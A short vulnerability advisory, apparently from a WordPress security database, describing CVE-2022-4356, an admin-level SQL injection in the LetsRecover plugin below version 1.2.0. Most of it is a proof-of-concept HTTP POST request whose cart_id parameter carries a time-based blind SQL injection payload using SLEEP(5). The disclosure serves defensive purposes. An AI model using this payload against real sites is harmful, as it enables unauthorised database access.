LetsRecover < 1.2.0 – Admin+ SQLi | CVE 2022-4356

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

Proof of Concept

POST /wp-admin/admin.php?page=letsrecover-templates&subscriber_id=6&cart_id=10+AND+(SELECT+5926+FROM+(SELECT(SLEEP(5)))erUA) HTTP/1.1
Host: localhost
Referer: http://localhost/wp-admin/admin.php?page=letsrecover-templates&id=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 457
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

wplrp_setup_nonce_field=0f88f06b61&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dletsrecover-templates%26id%3D0&template_name=Template+1&interval_time=1&interval_unit=minute&title=We+saved+your+cart2&message=We+are+still+holding+your+product.+Grab+it%2C+before+it%27s+too+late&icon=%7Bproduct_image%7D&image=%7Bproduct_image%7D&badge=&url=%7Bcheckout_page%7D&button_1_text=&button_1_url=&button_2_text=&button_2_url=&next_template_id=0&wplrp_send_push=1